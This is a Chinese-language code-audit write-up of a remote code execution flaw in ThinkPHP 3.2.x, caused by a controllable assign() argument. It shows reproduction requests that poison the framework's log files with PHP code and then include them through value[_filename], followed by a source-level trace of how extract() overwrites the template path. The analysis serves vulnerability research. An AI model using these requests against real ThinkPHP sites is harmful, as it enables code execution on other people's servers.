PHP代码审计—ThinkPHP3.2.X远程代码执行
前言
该漏洞是在受影响的版本中,业务代码中如果模板赋值方法assign的第一个参数可控,则可导致模板文件路径变量被覆盖为携带攻击代码的文件路径,造成任意文件包含,执行任意代码。个人感觉这个漏洞虽然不如thinkphp本体的一些RCE漏洞影响范围大,但也算是提供了一个思路,对基于某些框架二次开发的系统,寻找其不规范的方法调用的思路还是值得学习的。
漏洞复现
控制器添加test方法,写入模板赋值assign的 Demo
<?php
namespace Home\Controller;
use Think\Controller;
class IndexController extends Controller {
public function index(){
$this->show('<style type="text/css">*{ padding: 0; margin: 0; } div{ padding: 4px 48px;} body{ background: #fff; font-family: "微软雅黑"; color: #333;font-size:24px} h1{ font-size: 100px; font-weight: normal; margin-bottom: 12px; } p{ line-height: 1.8em; font-size: 36px } a,a:hover{color:blue;}</style><div style="padding: 24px 48px;"> <h1>:)</h1><p>欢迎使用 <b>ThinkPHP</b>!</p><br/>版本 V{$Think.version}</div><script type="text/javascript" src="http://ad.topthink.com/Public/static/client.js"></script><thinkad id="ad_55e75dfae343f5a1"></thinkad><script type="text/javascript" src="http://tajs.qq.com/stats?sId=9347272" charset="UTF-8"></script>','utf-8');
}
public function test($value){
$this->assign($value);
$this->display();
}
}
因为该漏洞利用的assign函数需要模板渲染,所以需要对应的模板文件,与demo相对应的文件路径:
view下创建一个Index目录,然后在Index目录下面新建test.html文件进行视图渲染,文件内容随意
目录:\Application\Home\View\Index\test.html
创建日志文件:
http://192.168.1.8/index.php?c=<?php=phpinfo();?>
// 没有给调用的模块参数,默认为Home, 控制器报错,日志在 Application/Runtime/Logs/Home 下面
http://192.168.1.8/index.php?m=--><?=phpinfo();?>
// 模块报错, 日志在 Application/Runtime/Logs/Common下面
日志文件目录:
开启debug
请求不报错 日志文件在 对应的模块下面 比如Home模块 路径:Application/Runtime/Logs/Home下
请求会报错
如果是模块错误 日志文件在 Application/Runtime/Logs/Common下
如果是控制器或者方法错误 日志文件在对应的模块下面 比如Home模块 路径:Application/Runtime/Logs/Home 下
关闭debug
请求不会报错 不会记录日志
请求会报错 保存的位置和开启debug一致
包含日志文件:
http://192.168.1.8/index.php?m=Home&c=Index&a=test&value[_filename]=./Application/Runtime/Logs/Home/21_06_08.log
漏洞分析
Application/Home/Controller/IndexController.class.php
assign方法中第一个变量可控
public function test($value){
$this->assign($value);
$this->display();
}
跟进assign函数
ThinkPHP/Library/Think/Controller.class.php
protected function assign($name,$value='') {
$this->view->assign($name,$value);
return $this;
}
调用的是ThinkPHP/Library/Think/View.class.php
中的assign函数,
此时进入else分支,我们传进去的$value
被赋值给$this->tVar[$name]
public function assign($name,$value=''){
if(is_array($name)) {
$this->tVar = array_merge($this->tVar,$name);
}else {
$this->tVar[$name] = $value;
}
}
然后返回, 无参调用 display 函数,跟进display函数
调用的是ThinkPHP/Library/Think/View.class.php
的display函数
protected function display($templateFile='',$charset='',$contentType='',$content='',$prefix='') {
$this->view->display($templateFile,$charset,$contentType,$content,$prefix);
}
继续跟进
开始解析并获取模板文件内容,此时模板文件路径和内容为空
public function display($templateFile='',$charset='',$contentType='',$content='',$prefix='') {
G('viewStartTime');
// 视图开始标签
Hook::listen('view_begin',$templateFile);
// 解析并获取模板内容
$content = $this->fetch($templateFile,$content,$prefix);
// 输出模板内容
$this->render($content,$charset,$contentType);
// 视图结束标签
Hook::listen('view_end');
}
进入ThinkPHP/Library/Think/View.class.php
的fetch函数后,
这里会先判断模板存不存在,模板文件不存在直接返回,所以开始需要创建模板文件
接着判断是不是php类型模板,不是进入else分支。
接着$params 被赋值,var即为为我们传进去的日志路径,file为模板文件的路径。
public function fetch($templateFile='',$content='',$prefix='') {
if(empty($content)) {
$templateFile = $this->parseTemplate($templateFile);
// 模板文件不存在直接返回
if(!is_file($templateFile)) E(L('_TEMPLATE_NOT_EXIST_').':'.$templateFile);
}else{
defined('THEME_PATH') or define('THEME_PATH', $this->getThemePath());
}
// 页面缓存
ob_start();
ob_implicit_flush(0);
if('php' == strtolower(C('TMPL_ENGINE_TYPE'))) { // 使用PHP原生模板
$_content = $content;
// 模板阵列变量分解成为独立变量
extract($this->tVar, EXTR_OVERWRITE);
// 直接载入PHP模板
empty($_content)?include $templateFile:eval('?>'.$_content);
}else{
// 视图解析标签
$params = array('var'=>$this->tVar,'file'=>$templateFile,'content'=>$content,'prefix'=>$prefix);
Hook::listen('view_parse',$params);
}
// 获取并清空缓存
$content = ob_get_clean();
// 内容过滤标签
Hook::listen('view_filter',$content);
// 输出模板文件
return $content;
}
接着进入ThinkPHP/Library/Think/Hook.class.php
的listen函数,经过一些判断,进入exec函数
static public function listen($tag, &$params=NULL) {
if(isset(self::$tags[$tag])) {
if(APP_DEBUG) {
G($tag.'Start');
trace('[ '.$tag.' ] --START--','','INFO');
}
foreach (self::$tags[$tag] as $name) {
APP_DEBUG && G($name.'_start');
$result = self::exec($name, $tag,$params);
if(APP_DEBUG){
G($name.'_end');
trace('Run '.$name.' [ RunTime:'.G($name.'_start',$name.'_end',6).'s ]','','INFO');
}
if(false === $result) {
// 如果返回false 则中断插件执行
return ;
}
}
if(APP_DEBUG) { // 记录行为的执行日志
trace('[ '.$tag.' ] --END-- [ RunTime:'.G($tag.'Start',$tag.'End',6).'s ]','','INFO');
}
}
return;
}
接着exec函数把$params
带进ThinkPHP/Library/Behavior/ParseTemplateBehavior.class.php
的run函数处理
static public function exec($name, $tag,&$params=NULL) {
if('Behavior' == substr($name,-8) ){
// 行为扩展必须用run入口方法
$tag = 'run';
}
$addon = new $name();
return $addon->$tag($params);
}
public function run(&$_data){
$engine = strtolower(C('TMPL_ENGINE_TYPE'));
$_content = empty($_data['content'])?$_data['file']:$_data['content'];
$_data['prefix'] = !empty($_data['prefix'])?$_data['prefix']:C('TMPL_CACHE_PREFIX');
if('think'==$engine){ // 采用Think模板引擎
if((!empty($_data['content']) && $this->checkContentCache($_data['content'],$_data['prefix']))
|| $this->checkCache($_data['file'],$_data['prefix'])) { // 缓存有效
//载入模版缓存文件
Storage::load(C('CACHE_PATH').$_data['prefix'].md5($_content).C('TMPL_CACHFILE_SUFFIX'),$_data['var']);
}else{
$tpl = Think::instance('Think\\Template');
// 编译并加载模板文件
$tpl->fetch($_content,$_data['var'],$_data['prefix']);
}
}else{
// 调用第三方模板引擎解析和输出
if(strpos($engine,'\\')){
$class = $engine;
}else{
$class = 'Think\\Template\\Driver\\'.ucwords($engine);
}
if(class_exists($class)) {
$tpl = new $class;
$tpl->fetch($_content,$_data['var']);
}else { // 类没有定义
E(L('_NOT_SUPPORT_').': ' . $class);
}
}
}
进入ThinkPHP/Library/Think/Template.class.php
的fetch函数
public function fetch($templateFile,$templateVar,$prefix='') {
$this->tVar = $templateVar;
$templateCacheFile = $this->loadTemplate($templateFile,$prefix);
Storage::load($templateCacheFile,$this->tVar,null,'tpl');
}
进入最后的load函数,$var不为空则使用extract方法的EXTR_OVERWRITE默认描述对变量值进行覆盖,
之后include该日志文件路径,造成文件包含。
public function load($_filename,$vars=null){
if(!is_null($vars)){
extract($vars, EXTR_OVERWRITE);
}
include $_filename;
}